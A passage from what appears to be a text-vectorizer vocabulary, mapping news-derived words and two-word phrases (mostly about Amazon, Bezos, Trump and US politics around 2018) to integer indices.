167795, "carry grocery": 167796, "457": 167797, "global online": 167798, "crowds": 167799, "pretty sus": 167800, "erica parise": 167801, "dan morgan": 167802, "trump warning": 167803, "wholly inappropriate": 167804, "jedi pentagon": 167805, "stephen kearney": 167806, "jobs tax": 167807, "restructured": 167808, "fundraising purchase": 167809, "strokes used": 167810, "things tariffs": 167811, "bowl predictor": 167812, "noticed": 167813, "close pecker": 167814, "democrats trump": 167815, "andrew harrer": 167816, "165 million": 167817, "making changes": 167818, "rival technology": 167819, "trump tackles": 167820, "quarter rose": 167821, "brazen exploitation": 167822, "bleeding antivirus": 167823, "img_h": 167824, "combined internal": 167825, "testimony house": 167826, "company enters": 167827, "standoff hours": 167828, "appreciate beauty": 167829, "report remarkable": 167830, "bouncing balls": 167831, "latest action": 167832, "following local": 167833, "2019 american": 167834, "just sham": 167835, "mckinnon": 167836, "alleged politically": 167837, "predatory conduct": 167838, "reason companies": 167839, "sun shirts": 167840, "cure cancer": 167841, "customs agency": 167842, "217": 167843, "government regulation": 167844, "company scale": 167845, "company search": 167846, "filene basement": 167847, "sector interests": 167848, "society happen": 167849, "human baby": 167850, "cheese": 167851, "magnificent dining": 167852, "denali": 167853, "rosenwald recalls": 167854, "carefree consumer": 167855, "anchor blue": 167856, "monumentally": 167857, "single planet": 167858, "jacquelyn": 167859, "week midterms": 167860, "estate 2018": 167861, "employment center": 167862, "week giving": 167863, "paying future": 167864, "noble kept": 167865, "warned margins": 167866, "communities represented": 167867, "means government": 167868, "hu covers": 167869, "protesters denounce": 167870, "post george": 167871, "day anthony": 167872, "degrees lightly": 167873, "refashioned": 167874, "partner integrations": 167875, "tried hard": 167876, "news financial": 167877, "double crossing": 167878, "unveiling": 167879, "harder says": 167880, "legal case": 167881, "prime hotstar": 167882, "pricing criteria": 167883, "prized tax": 167884, "experience provide": 167885, "distribute drugs": 167886, "mean norah": 167887, "amid warning": 167888, "fortune invading": 167889, "higher dependence": 167890, "standpoint amazon": 167891, "shareholders continues": 167892, "funds vanguard": 167893, "outsource": 167894, "services increased": 167895, "zuckerberg effectively": 167896, "repeal": 167897, "jaspers think": 167898, "gmail users": 167899, "statements alleging": 167900, "party": 167901, "sue terry": 167902, "communications industry": 167903, "million users": 167904, "indefinite delivery": 167905, "gmbactivistamazon gmb_union": 167906, "outspokenness": 167907, "professional ladder": 167908, "politicized": 167909, "deputy shooting": 167910, "exposed uber": 167911, "facebooks downbeat": 167912, "increased adding": 167913, "gknazimbbv mel": 167914, "investigation claims": 167915, "background today": 167916, "vans according": 167917, "ironically": 167918, "race ptsd": 167919, "topstories": 167920, "warn trump": 167921, "sanctioned": 167922, "training open": 167923, "partners representative": 167924, "luxurious": 167925, "viab nyse": 167926, "description reads": 167927, "luck diminished": 167928, "high time": 167929, "lie bartiromo": 167930, "history underscores": 167931, "outplayed": 167932, "world navarro": 167933, "boycott companies": 167934, "geoengineering": 167935, "consider life": 167936, "certainly survive": 167937, "risky links": 167938, "necessity carell": 167939, "crony project": 167940, "gorsuch kavanaugh": 167941, "subjected maloney": 167942, "student good": 167943, "big names": 167944, "defend total": 167945, "isn packing": 167946, "president matthew": 167947, "bush administration": 167948, "contract competition": 167949, "start following": 167950, "\u00e9migr\u00e9s": 167951, "took look": 167952, "approach allegedly": 167953, "make green": 167954, "taken particular": 167955, "evangelicals": 167956, "voters overall": 167957, "greensand": 167958, "editor jill": 167959, "faculty": 167960, "newman copies": 167961, "sabrina isn": 167962, "month saw": 167963, "affect lot": 167964, "fan base": 167965, "created jobs": 167966, "seth barrett": 167967, "ej mcmahon": 167968, "east asia": 167969, "tariffs kaitlyn": 167970, "hutchinson report": 167971, "offshore using": 167972, "particular diseases": 167973, "huffingtonpost": 167974, "downzone": 167975, "story existing": 167976, "mike pompeo": 167977, "using cloud": 167978, "tilting supposedly": 167979, "initial": 167980, "dod runs": 167981, "events created": 167982, "serve": 167983, "help microsoft": 167984, "laissez": 167985, "injection postponed": 167986, "washington late": 167987, "dos santos": 167988, "including republican": 167989, "pockets half": 167990, "samsung gamingnews": 167991, "wheelchair bound": 167992, "jeff bozo": 167993, "phillips jay": 167994, "base amazon": 167995, "possible enquirer": 167996, "000 temporary": 167997, "shares closing": 167998, "thank fans": 167999, "profits sends": 168000, "direct red": 168001, "truck message": 168002, "illinois legislates": 168003, "nonretailing ambitions": 168004, "american workplace": 168005, "temperature scale": 168006, "paul brathwaite": 168007, "showed impressive": 168008, "nvidiahttps specials": 168009, "suggestion recent": 168010, "q2": 168011, "undoubtedly unpopular": 168012, "providing cover": 168013, "medieval era": 168014, "started amazon": 168015, "1537260656": 168016, "835 products": 168017, "bore trump": 168018, "lynn": 168019, "allianz investment": 168020, "1trn": 168021, "eventually having": 168022, "investigator recommended": 168023, "information disseminating": 168024, "changed considerably": 168025, "seattle based": 168026, "warren consider": 168027, "hopelessness": 168028, "provides kroger": 168029, "nv": 168030, "habit going": 168031, "cars hiking": 168032, "chrysler executive": 168033, "south asian": 168034, "roberts president": 168035, "department lawyers": 168036, "mira": 168037, "rates suddenly": 168038, "castro office": 168039, "inciting fear": 168040, "grave walmart": 168041, "senators face": 168042, "hour conservative": 168043, "historically blue": 168044, "talks drake": 168045, "repurchases": 168046, "officially owned": 168047, "klieger": 168048, "government officials": 168049, "taking low": 168050, "harley davidson": 168051, "traditional hotel": 168052, "high point": 168053, "jury trial": 168054, "including option": 168055, "shipping delivery": 168056, "keeps injured": 168057, "hannity ainsley": 168058, "expands protections": 168059, "wrote column": 168060, "sex habits": 168061, "don present": 168062, "congresspeople": 168063, "boilerplate": 168064, "705 billion": 168065, "shaper": 168066, "higher prices": 168067, "gerald ford": 168068, "woman mourning": 168069, "administration aide": 168070, "reportedly fired": 168071, "ban muslim": 168072, "white feather": 168073, "recycled water": 168074, "exporters considering": 168075, "forbes estimated": 168076, "announced similar": 168077, "wins": 168078, "r0 typeof": 168079, "potential fees": 168080, "given low": 168081, "sectors progress": 168082, "outlet unflattering": 168083, "qanon aug": 168084, "twitter led": 168085, "fred jr": 168086, "fiery": 168087, "slate active": 168088, "massive transactions": 168089, "1150x540": 168090, "cuomo joins": 168091, "valley commuters": 168092, "immigration issues": 168093, "clear sign": 168094, "gain popularity": 168095, "hitler mein": 168096, "bid protest": 168097, "deeply implicated": 168098, "slimmer": 168099, "program meant": 168100, "pentagon project": 168101, "israel killing": 168102, "reuters kevin": 168103, "duckworth joined": 168104, "popular stories": 168105, "mta reform": 168106, "trump stunner": 168107, "liberal staff": 168108, "opinion film": 168109, "ioc": 168110, "slattery": 168111, "annoys": 168112, "governments notable": 168113, "kavanaugh soon": 168114, "aeberman12": 168115, "infringement": 168116, "separate arrangement": 168117, "high compared": 168118, "david kocieniewski": 168119, "signals quite": 168120, "baker indicated": 168121, "lower cost": 168122, "abattoir": 168123, "great benefits": 168124, "red sox": 168125, "liberal outlets": 168126, "lefties": 168127, "tweets won": 168128, "military decisions": 168129, "tools shoes": 168130, "rightly claim": 168131, "queens eric": 168132, "second anti": 168133, "basic economy": 168134, "left plot": 168135, "entire parcel": 168136, "boat \u0430is": 168137, "gold local": 168138, "things netflix": 168139, "fired weapon": 168140, "story video": 168141, "washington banks": 168142, "fewer complaints": 168143, "badass plasma": 168144, "jackman": 168145, "russian officials": 168146, "super fakes": 168147, "tax making": 168148, "budget cuts": 168149, "competition laws": 168150, "online turning": 168151, "possible negative": 168152, "uninstall": 168153, "industry headwinds": 168154, "reverse": 168155, "abc government": 168156, "impropriety related": 168157, "stunning headlines": 168158, "authoritative available": 168159, "tech jobs": 168160, "iota": 168161, "branded physical": 168162, "seattle danielle": 168163, "giant otter": 168164, "networks rsns": 168165, "centers just": 168166, "great attachment": 168167, "amazon embedded": 168168, "johnson veronica": 168169, "dang": 168170, "season cbs": 168171, "big dollar": 168172, "new pressures": 168173, "settled class": 168174, "desired wall": 168175, "publicly supports": 168176, "began publishing": 168177, "enormous volume": 168178, "arbor": 168179, "ally saudi": 168180, "extramarital relationships": 168181, "international challenges": 168182, "administrative duties": 168183, "provide good": 168184, "yevgeny": 168185, "company represents": 168186, "customers need": 168187, "swelling labor": 168188, "policy molding": 168189, "straton asked": 168190, "mnuchin story": 168191, "sad donald": 168192, "faith healers": 168193, "946728546633953285": 168194, "pathological": 168195, "r4ee l5e": 168196, "000 heading": 168197, "hoops": 168198, "adequately audit": 168199, "story promoted": 168200, "st johnsbury": 168201, "surprised says": 168202, "korea hadn": 168203, "transportation corridor": 168204, "constructor bbt": 168205, "civic association": 168206, "hamper": 168207, "bumblebee": 168208, "coward way": 168209, "ming suggests": 168210, "club says": 168211, "pecker dear": 168212, "folds": 168213, "big government": 168214, "congressional races": 168215, "ck": 168216, "group shyam": 168217, "chauffeured government": 168218, "trump implores": 168219, "screeny": 168220, "liberal leanings": 168221, "really diva": 168222, "countries hearing": 168223, "purchased products": 168224, "singularly": 168225, "board unfit": 168226, "north seeking": 168227, "ing world": 168228, "vague reference": 168229, "virginia location": 168230, "risky bets": 168231, "mirror believing": 168232, "hinged": 168233, "walls new": 168234, "provides funding": 168235, "documents leaked": 168236, "flop": 168237, "helicopter rides": 168238, "bezos ended": 168239, "pecker published": 168240, "button boots": 168241, "produce ballistic": 168242, "caption jeff": 168243, "years ago": 168244, "facebook looks": 168245, "easy levels": 168246, "argues": 168247, "sent conservative": 168248, "sells trump": 168249, "trump revolting": 168250, "sever": 168251, "florida day": 168252, "does bezos": 168253, "secretive spy": 168254, "overlooking": 168255, "exploiting loopholes": 168256, "snappy": 168257, "trustworthy entity": 168258, "tremendous win": 168259, "suggested boycott": 168260, "treasury inspector": 168261, "definitely anticipating": 168262, "social problem": 168263, "arizona followers": 168264, "politico analysis": 168265, "life threatening": 168266, "corporate supremists": 168267, "offer basic": 168268, "xrlwpbmgj7": 168269, "inc5000companies companies": 168270, "warehouse management": 168271, "required airs": 168272, "yesterday following": 168273, "black caucus": 168274, "betway games": 168275, "recently visited": 168276, "blackmail reporters": 168277, "news headlines": 168278, "networks talk": 168279, "christian faith": 168280, "discussing offline": 168281, "shamed companies": 168282, "893": 168283, "judgment": 168284, "speech monitor": 168285, "venezuela government": 168286, "president railed": 168287, "holding fortunes": 168288, "overall agreement": 168289, "quinn forget": 168290, "botched hillary": 168291, "era vox": 168292, "latest effort": 168293, "increasing refusal": 168294, "freddy kruger": 168295, "deals annually": 168296, "secure international": 168297, "hiv positive": 168298, "news followin": 168299, "native steve": 168300, "lies speech": 168301, "competitor adweek": 168302, "government itt": 168303, "gear erupts": 168304, "visits barron": 168305, "fitch campbell": 168306, "free life": 168307, "created occasion": 168308, "billion business": 168309, "collection instead": 168310, "hamilton trump": 168311, "joke karl": 168312, "companies contracts": 168313, "published revelations": 168314, "operations raising": 168315, "special bolts": 168316, "2018 picture": 168317, "provider upskill": 168318, "pops cancer": 168319, "walmart prefer": 168320, "ice altered": 168321, "yevgeny zamyatin": 168322, "paper bag": 168323, "intellectual diversion": 168324, "powerful man": 168325, "dennis green": 168326, "blogging": 168327, "trump kindle": 168328, "futures drop": 168329, "currently engaged": 168330, "ambitious new": 168331, "investigation houston": 168332, "moon prior": 168333, "price leap": 168334, "view image": 168335, "immediately": 168336, "controlled devices": 168337, "lodged challenge": 168338, "oligarch critical": 168339, "fcc know": 168340, "100 nutritious": 168341, "straight leg": 168342, "wants operational": 168343, "rate corporations": 168344, "jeffries": 168345, "publicly showed": 168346, "2018 toyota": 168347, "perpetually offended": 168348, "stock shot": 168349, "acres killed": 168350, "population second": 168351, "bernanke": 168352, "simon gf": 168353, "producers ryan": 168354, "legislative": 168355, "menefee": 168356, "sisyphean": 168357, "bad decision": 168358, "uncertain times": 168359, "lehigh valley": 168360, "share learnings": 168361, "registration confirmation": 168362, "man versus": 168363, "company saved": 168364, "service iaas": 168365, "decades ahead": 168366, "authority buildings": 168367, "signed thank": 168368, "list lena": 168369, "amazon 128": 168370, "really national": 168371, "amazon 134": 168372, "highly trusted": 168373, "businesses created": 168374, "fuel prices": 168375, "2020 shares": 168376, "sweeping changes": 168377, "sanchez embarrassing": 168378, "quash washington": 168379, "ham man": 168380, "dosing": 168381, "citadel advsr": 168382, "warehouses tyger": 168383, "metastasize": 168384, "unlucky": 168385, "sending stock": 168386, "bezos caption": 168387, "half trillion": 168388, "missed opportunity": 168389, "crow era": 168390, "crabb": 168391, "contradictory directions": 168392, "development spells": 168393, "add trails": 168394, "henry paulson": 168395, "ami sale": 168396, "expansion analysis": 168397, "increased funding": 168398, "flooding": 168399, "bitter legal": 168400, "clinton email": 168401, "lead seriesname": 168402, "york voting": 168403, "based hedge": 168404, "utm_medium internal": 168405, "wisconsin picture": 168406, "private conversation": 168407, "advantages amazon": 168408, "blasts amazon": 168409, "aut_title": 168410, "jackets delivery": 168411, "certain students": 168412, "couple new": 168413, "butina": 168414, "ovide writes": 168415, "luxembourg did": 168416, "services pentagon": 168417, "fluid": 168418, "hook truthers": 168419, "sad fact": 168420, "veneer": 168421, "officially sworn": 168422, "currently offers": 168423, "substantial financial": 168424, "integration dangerous": 168425, "mrk": 168426, "world challenge": 168427, "seasonal hires": 168428, "usually does": 168429, "state legal": 168430, "wholly ineffectual": 168431, "trump stopped": 168432, "ex enquirer": 168433, "administration claims": 168434, "future chairman": 168435, "leblanc fake": 168436, "glynn": 168437, "larry smith": 168438, "express annoyance": 168439, "usual vitriolic": 168440, "instyle": 168441, "affiliates partners": 168442, "000 going": 168443, "general sessions": 168444, "sovide": 168445, "certainly make": 168446, "media networks": 168447, "bob harper": 168448, "officials claims": 168449, "remember trump": 168450, "getty_173218731_200015422000928060_388160 jpg": 168451, "news interview": 168452, "gmblondonregion members": 168453, "generally agree": 168454, "organization coffers": 168455, "place trump": 168456, "inspired": 168457, "blistering blog": 168458, "stakes trade": 168459, "techtimes": 168460, "providers including": 168461, "line trump": 168462, "hill teen": 168463, "block declaration": 168464, "france makes": 168465, "photos suggestions": 168466, "actual warehouses": 168467, "bezos looks": 168468, "point near": 168469, "jeremy": 168470, "pols social": 168471, "environmental group": 168472, "macrovector": 168473, "organization related": 168474, "disappointing results": 168475, "increased restrictions": 168476, "better contractual": 168477, "enable developers": 168478, "greenpeace says": 168479, "today began": 168480, "promoted story": 168481, "sourcename title": 168482, "takes hit": 168483, "tipster michael": 168484, "enquirer targeted": 168485, "harangue": 168486, "dream knew": 168487, "usni news": 168488, "resulting lower": 168489, "sold houses": 168490, "oil west": 168491, "health ventures": 168492, "crack particularly": 168493, "recives": 168494, "country seeking": 168495, "overhauled": 168496, "bare necessities": 168497, "lisa murkowski": 168498, "escapades": 168499, "warehouses 600": 168500, "share following": 168501, "5g hardware": 168502, "politico boeing": 168503, "review detailed": 168504, "rise trio": 168505, "clarify russia": 168506, "lowest prices": 168507, "trump 2020": 168508, "website including": 168509, "mish int": 168510, "newborn": 168511, "sparks cop": 168512, "subplot": 168513, "palace balmoral": 168514, "escape rising": 168515, "apologized amid": 168516, "really means": 168517, "standard oil": 168518, "oknyansky greenberg": 168519, "browser click": 168520, "bezos brought": 168521, "mishaps": 168522, "cost states": 168523, "cruise familytravel": 168524, "repertory company": 168525, "gargantuan amazon": 168526, "suggestion": 168527, "linkedin account": 168528, "fittingly forte": 168529, "hq2 blowback": 168530, "commerce advertising": 168531, "manafort heads": 168532, "hurting local": 168533, "bezos familiar": 168534, "agency merkle": 168535, "government wide": 168536, "self": 168537, "report showed": 168538, "earnings analysts": 168539, "afp reuters": 168540, "ext super": 168541, "consider getting": 168542, "google duopoly": 168543, "commerce companies": 168544, "reassuring": 168545, "bloody nose": 168546, "computing consumer": 168547, "looming trade": 168548, "push ygdjhk": 168549, "committee endorsed": 168550, "spacecraft crash": 168551, "immigrants thanks": 168552, "california federal": 168553, "italian life": 168554, "swedish bookseller": 168555, "release list": 168556, "spending billthat": 168557, "violence indigenous": 168558, "developed technology": 168559, "wonderful way": 168560, "drained iphone": 168561, "miller illinois": 168562, "right agree": 168563, "franzen fsg": 168564, "commercial airline": 168565, "concerns continue": 168566, "movement": 168567, "probably closer": 168568, "years atsg": 168569, "furniture hours": 168570, "2018 ruthless": 168571, "country sure": 168572, "video screenshot": 168573, "signified": 168574, "ongoing attack": 168575, "stomach cuomo": 168576, "coastline tru": 168577, "free software": 168578, "state level": 168579, "composite index": 168580, "listen know": 168581, "um": 168582, "separate developments": 168583, "mccain tearful": 168584, "inclusive way": 168585, "retailers having": 168586, "democratic sen": 168587, "nodding": 168588, "operate graham": 168589, "general adam": 168590, "1733807302": 168591, "free james": 168592, "lucrative": 168593, "production team": 168594, "production target": 168595, "overall health": 168596, "prohibit sale": 168597, "230 billion": 168598, "alexander acosta": 168599, "wealthy people": 168600, "american intelligence": 168601, "forbes profiles": 168602, "meeting held": 168603, "stories pushed": 168604, "1b visas": 168605, "surveillance device": 168606, "equally silly": 168607, "lilly": 168608, "pulled huge": 168609, "best nonfiction": 168610, "maxsa initially": 168611, "strong winds": 168612, "support retail": 168613, "quizzes job": 168614, "negga": 168615, "education secretary": 168616, "act slashed": 168617, "firm amazon": 168618, "facebook debacle": 168619, "story share": 168620, "shares higher": 168621, "recognition adequately": 168622, "require extreme": 168623, "rape jokes": 168624, "delighting": 168625, "hold house": 168626, "microsoft sat": 168627, "latino borrowers": 168628, "ellen page": 168629, "walters declined": 168630, "highlight": 168631, "answering number": 168632, "news instead": 168633, "jeffrey sachs": 168634, "themed": 168635, "divorc\u00e9e": 168636, "handicrafts opposed": 168637, "software company": 168638, "atria": 168639, "tenant": 168640, "ice trump": 168641, "socialist government": 168642, "mustache": 168643, "t5e r4ee": 168644, "lighthearted spy": 168645, "pressure recently": 168646, "world actually": 168647, "battle amazon": 168648, "fasb": 168649, "luxury home": 168650, "deputies report": 168651, "environmental news": 168652, "deal supply": 168653, "paraphrased": 168654, "director christian": 168655, "noon security": 168656, "oust northam": 168657, "piece called": 168658, "mngmt incorporated": 168659, "epic": 168660, "complaints related": 168661, "japan": 168662, "spy": 168663, "world 2018": 168664, "employees invading": 168665, "follows recommendation": 168666, "indian subsidiary": 168667, "disclosed similar": 168668, "conversations intelligence": 168669, "befall local": 168670, "trump singled": 168671, "smaller tax": 168672, "notable firings": 168673, "22m worth": 168674, "actress award": 168675, "delivery experience": 168676, "fought": 168677, "illegal immigrant": 168678, "coup inspired": 168679, "suggested moving": 168680, "president putin": 168681, "tappan zee": 168682, "nightclub": 168683, "applicable independent": 168684, "personal involvement": 168685, "told lesley": 168686, "borrowing terms": 168687, "pearsons regular": 168688, "think realdonaldtrump": 168689, "ongoing facebook": 168690, "50pm": 168691, "company 2019": 168692, "inflation framework": 168693, "amid worries": 168694, "widespread downturn": 168695, "garnering": 168696, "motivated primarily": 168697, "death star": 168698, "elvis presley": 168699, "successful saudi": 168700, "various leave": 168701, "artificial intelligence": 168702, "announces api": 168703, "668": 168704, "advisers holding": 168705, "indecisiveness": 168706, "billionaire gop": 168707, "set labor": 168708, "comprehensive proposal": 168709, "war matters": 168710, "federally mandated": 168711, "tonight begin": 168712, "rizer": 168713, "alzheimer drug": 168714, "simply hires": 168715, "2017 adding": 168716, "sexy texts": 168717, "stronger parent": 168718, "fortnite": 168719, "democrats green": 168720, "cnbc request": 168721, "amazon technical": 168722, "team believe": 168723, "seeking additional": 168724, "antitrust divisions": 168725, "agile methodology": 168726, "feed paletas": 168727, "stays away": 168728, "corporate issues": 168729, "news tantrums": 168730, "suburban washington": 168731, "comments new": 168732, "economic prosperity": 168733, "reshape": 168734, "187 000": 168735, "9billion percentage": 168736, "quote": 168737, "ad revenues": 168738, "cumulative deficit": 168739, "michael smerconish": 168740, "plunging red": 168741, "today morning": 168742, "news shares": 168743, "king yes": 168744, "nyse bj": 168745, "conference based": 168746, "totally bartiromo": 168747, "newsstand titles": 168748, "consumer payments": 168749, "different customer": 168750, "liberty levin": 168751, "plantation politics": 168752, "public shootings": 168753, "transformer": 168754, "cardi net": 168755, "181004033404": 168756, "did saudi": 168757, "consistently drawn": 168758, "assassinations jedi": 168759, "departmentof": 168760, "balance earlier": 168761, "laughter herera": 168762, "major ad": 168763, "rated cnn": 168764, "sen gianaris": 168765, "gehl": 168766, "different movie": 168767, "gives government": 168768, "year biggest": 168769, "conglomerates": 168770, "nazi death": 168771, "golovkin": 168772, "falls 2018": 168773, "disapprove": 168774, "animal stories": 168775, "junk food": 168776, "goods sales": 168777, "underlings amazon": 168778, "html pubg_mobile": 168779, "disdainful": 168780, "filing reveals": 168781, "term debt": 168782, "true self": 168783, "names lauren": 168784, "quality based": 168785, "ls inv": 168786, "week chip": 168787, "headquarters expand": 168788, "price increase": 168789, "postponing legislative": 168790, "kabir lucifer": 168791, "servers issuing": 168792, "attorney abbe": 168793, "illumination": 168794, "right forcing": 168795, "heroic": 168796, "startup activity": 168797, "graces": 168798, "fitness food": 168799, "rex huppke": 168800, "ami wouldn": 168801, "image credit": 168802, "democrats national": 168803, "warren ewarren": 168804, "acting ice": 168805, "photo international": 168806, "big thanks": 168807, "amzn alphabet": 168808, "early seventies": 168809, "require laws": 168810, "morning tweet": 168811, "export manufacturers": 168812, "tart": 168813, "gap": 168814, "reach sufficient": 168815, "companies benefited": 168816, "sales join": 168817, "dennis jr": 168818, "90149": 168819, "drastically increase": 168820, "married lexi": 168821, "als reveals": 168822, "sells variety": 168823, "life harmony": 168824, "giant earnings": 168825, "automatically remove": 168826, "blatant violation": 168827, "advocates say": 168828, "ext large": 168829, "modernists": 168830, "long problem": 168831, "shares 477": 168832, "rt keerthy1995": 168833, "marlon": 168834, "new gop": 168835, "van order": 168836, "scandalous routinely": 168837, "grapple": 168838, "received weekly": 168839, "bezos directed": 168840, "grass plotting": 168841, "330 air": 168842, "foods sales": 168843, "stock climbed": 168844, "resurgent nationalism": 168845, "fredric rolando": 168846, "alesci guest": 168847, "says kim": 168848, "294bn": 168849, "rights crisis": 168850, "planned post": 168851, "shares lost": 168852, "help argentina": 168853, "car right": 168854, "exploit information": 168855, "changing technology": 168856, "lin": 168857, "228543": 168858, "orchestrated": 168859, "lotterer": 168860, "workdays attend": 168861, "historic plunge": 168862, "new lake": 168863, "woolsey calif": 168864, "remarks gushed": 168865, "provide jobs": 168866, "sequences": 168867, "craig nelson": 168868, "throats express": 168869, "henry viii": 168870, "leaked early": 168871, "chip equipment": 168872, "writes employers": 168873, "fellow trump": 168874, "capitol hill": 168875, "tie dinner": 168876, "esrx national": 168877, "nationalinterest": 168878, "look set": 168879, "enquirer rushed": 168880, "exhibitor sponsors": 168881, "expect mailing": 168882, "service declined": 168883, "bbt": 168884, "trillion mark": 168885, "numerically speaking": 168886, "assets 181003125909": 168887, "spotting": 168888, "legend martina": 168889, "concentrated effort": 168890, "love apple": 168891, "murky": 168892, "story broke": 168893, "nyse": 168894, "var initmeta": 168895, "lunar joy": 168896, "world pic": 168897, "describes high": 168898, "rises reuters": 168899, "gowns": 168900, "soviet owned": 168901, "trust seritage": 168902, "hamas group": 168903, "partner group": 168904, "slingbox amazon": 168905, "woodward insisted": 168906, "bank sue": 168907, "wwe chief": 168908, "host cities": 168909, "tan": 168910, "consciousness": 168911, "officials authorized": 168912, "sinisterlab": 168913, "bezos poses": 168914, "disarray specifically": 168915, "student loans": 168916, "soon cnn": 168917, "apparel company": 168918, "karl rove": 168919, "reduced forest": 168920, "569": 168921, "virginia president": 168922, "ceo sundar": 168923, "million tons": 168924, "discussions donald": 168925, "certainly happened": 168926, "avoid trend": 168927, "milestone": 168928, "isps don": 168929, "334": 168930, "city soaring": 168931, "promotion": 168932, "concerned specific": 168933, "association amazon": 168934, "treadmill computed": 168935, "huffpo japanese": 168936, "marketplace google": 168937, "prohibiting government": 168938, "police say": 168939, "editorially chosen": 168940, "375": 168941, "possible 100": 168942, "television search": 168943, "plastic display": 168944, "virginia editor": 168945, "outflow": 168946, "amply demonstrated": 168947, "strong numbers": 168948, "giant company": 168949, "listing counterfeit": 168950, "beat weak": 168951, "right critics": 168952, "shepardson reported": 168953, "365 days": 168954, "temporary factors": 168955, "pubgclips pubggad": 168956, "getting pretty": 168957, "megacorporations": 168958, "younger healthier": 168959, "raise mind": 168960, "consumers shake": 168961, "steer shoppers": 168962, "regular occurrence": 168963, "newspaper salles": 168964, "offerings": 168965, "stewart spar": 168966, "home brands": 168967, "cisco csco": 168968, "housing environment": 168969, "possible given": 168970, "dt continued": 168971, "gas credits": 168972, "trademarks": 168973, "aggressive price": 168974, "park amazon": 168975, "probe vocal": 168976, "naval": 168977, "selfie naked": 168978, "shutdown data": 168979, "burned trump": 168980, "pocketbook glimmer": 168981, "kathy arberg": 168982, "28222 bought": 168983, "physical booksellers": 168984, "gorgeous": 168985, "larger set": 168986, "attack sarah": 168987, "whichever network": 168988, "100 days": 168989, "problems higher": 168990, "gop fails": 168991, "toronto concert": 168992, "bezos affair": 168993, "tools including": 168994, "amazon faced": 168995, "button read": 168996, "book release": 168997, "966": 168998, "pic publicly": 168999, "apple cheeks": 169000, "saluting": 169001, "hour calling": 169002, "irs estimates": 169003, "face paint": 169004, "routine traffic": 169005, "fb suffering": 169006, "authentication technology": 169007, "mention amazon": 169008, "delivery creating": 169009, "allegations noted": 169010, "regular basis": 169011, "star receives": 169012, "odd way": 169013, "100 regulations": 169014, "classy pork": 169015, "funded subsidies": 169016, "amzn offers": 169017, "new playbook": 169018, "stories startup": 169019, "firm primarily": 169020, "adopted simple": 169021, "licensing contracts": 169022, "actually threatening": 169023, "straw": 169024, "office hopefully": 169025, "newspaper led": 169026, "primary software": 169027, "provided extensive": 169028, "quick passage": 169029, "nba team": 169030, "randomly": 169031, "forever list": 169032, "family pet": 169033, "employs hundreds": 169034, "govern": 169035, "quorum": 169036, "performance quickly": 169037, "monopolist amazon": 169038, "fair reportsthat": 169039, "woman says": 169040, "walled": 169041, "fliers": 169042, "hours action": 169043, "new stores": 169044, "died douglas": 169045, "great sun": 169046, "confront phillips": 169047, "mothers nursing": 169048, "rise apple": 169049, "dangerous competitor": 169050, "firms benefit": 169051, "kwame raoul": 169052, "world shifts": 169053, "underwriters according": 169054, "labor record": 169055, "trade bloc": 169056, "serving tray": 169057, "charging approach": 169058, "anymore": 169059, "medium business": 169060, "fund existing": 169061, "leith": 169062, "100x100": 169063, "record bezos": 169064, "aclu wrote": 169065, "i4": 169066, "cgi dinosaurs": 169067, "trump post": 169068, "blog china": 169069, "confidential internal": 169070, "growth power": 169071, "ceo facebook": 169072, "333b": 169073, "essentially gives": 169074, "build warehouses": 169075, "excerpt read": 169076, "retail landscape": 169077, "blackmail himjoin": 169078, "booboonyc": 169079, "gershenson": 169080, "2017 mccabe": 169081, "goulding harper": 169082, "blumhouse television": 169083, "wounded": 169084, "extreme following": 169085, "decision affirming": 169086, "progresisvely": 169087, "details issues": 169088, "battery cup": 169089, "hiltzikm": 169090, "js video_description": 169091, "commerce businesses": 169092, "pai radical": 169093, "realizes": 169094, "alibaba spokesman": 169095, "map neighborhoods": 169096, "baird": 169097, "moving increasingly": 169098, "2019 dow": 169099, "techniques join": 169100, "intentional": 169101, "information read": 169102, "shield consumers": 169103, "mega agent": 169104, "kavanaugh believes": 169105, "audiences legitimately": 169106, "shopping ripples": 169107, "iowa": 169108, "executives attended": 169109, "000 metric": 169110, "futility dubbed": 169111, "convulsions": 169112, "added huawei": 169113, "increased luxury": 169114, "eovaldli ocala": 169115, "british civil": 169116, "expand overseas": 169117, "fair sources": 169118, "jobs question": 169119, "barry": 169120, "hulu website": 169121, "gina": 169122, "controversial amazon": 169123, "historic blazes": 169124, "lapidus wework": 169125, "guess greene": 169126, "carrie": 169127, "hurricane michael": 169128, "spider man": 169129, "york provide": 169130, "businessman": 169131, "profile inhumans": 169132, "p1": 169133, "california midterms": 169134, "unit sally": 169135, "new laws": 169136, "a4ee i1": 169137, "acn cypress": 169138, "weaving mystery": 169139, "inequality provoke": 169140, "dax": 169141, "return request": 169142, "systems tagay": 169143, "wedge": 169144, "swamp": 169145, "domestic": 169146, "becker concluded": 169147, "million richer": 169148, "formulating environmental": 169149, "open offices": 169150, "gore": 169151, "dwight bullard": 169152, "highest paying": 169153, "statuses": 169154, "tad": 169155, "6gb ram": 169156, "agencies right": 169157, "provide solid": 169158, "free euro": 169159, "boundaries sanctuary": 169160, "financial reform": 169161, "mainstream democratic": 169162, "crazed crying": 169163, "lays blame": 169164, "macro housing": 169165, "selflessly served": 169166, "nora ephron": 169167, "kennaugh indianapolis": 169168, "pentagon wrote": 169169, "concerns ethics": 169170, "reboot": 169171, "rubenstein yes": 169172, "cfpb": 169173, "making deals": 169174, "irrevocable": 169175, "forecasting troubles": 169176, "panky": 169177, "harold geneen": 169178, "fernholz": 169179, "felton amazon": 169180, "2008 crisis": 169181, "activation services": 169182, "rec barclay": 169183, "technology commerce": 169184, "ju remains": 169185, "habits fund": 169186, "netflix ceo": 169187, "100 influential": 169188, "winner good": 169189, "brightcove": 169190, "wrong look": 169191, "results music": 169192, "middleeast": 169193, "pay huge": 169194, "elections kavanaugh": 169195, "constitutional drive": 169196, "future bigger": 169197, "year assembled": 169198, "house bezos": 169199, "000 consumers": 169200, "big donors": 169201, "lauren weisberger": 169202, "unscripted series": 169203, "democrat war": 169204, "wake": 169205, "trump couldn": 169206, "century monarch": 169207, "slim profit": 169208, "wielding pair": 169209, "business reputations": 169210, "fully know": 169211, "monthly plunge": 169212, "including carter": 169213, "kavanaugh circus": 169214, "centene": 169215, "year target": 169216, "planned merger": 169217, "pineapple corn": 169218, "nahit na7it1": 169219, "000 copies": 169220, "kleiner": 169221, "action recode": 169222, "skids": 169223, "2018 sheppard": 169224, "don trust": 169225, "ohio mysterious": 169226, "upcoming raymond": 169227, "chocolate cake": 169228, "clinton fell": 169229, "effort remains": 169230, "miyares": 169231, "god sheltered": 169232, "mart": 169233, "president sh": 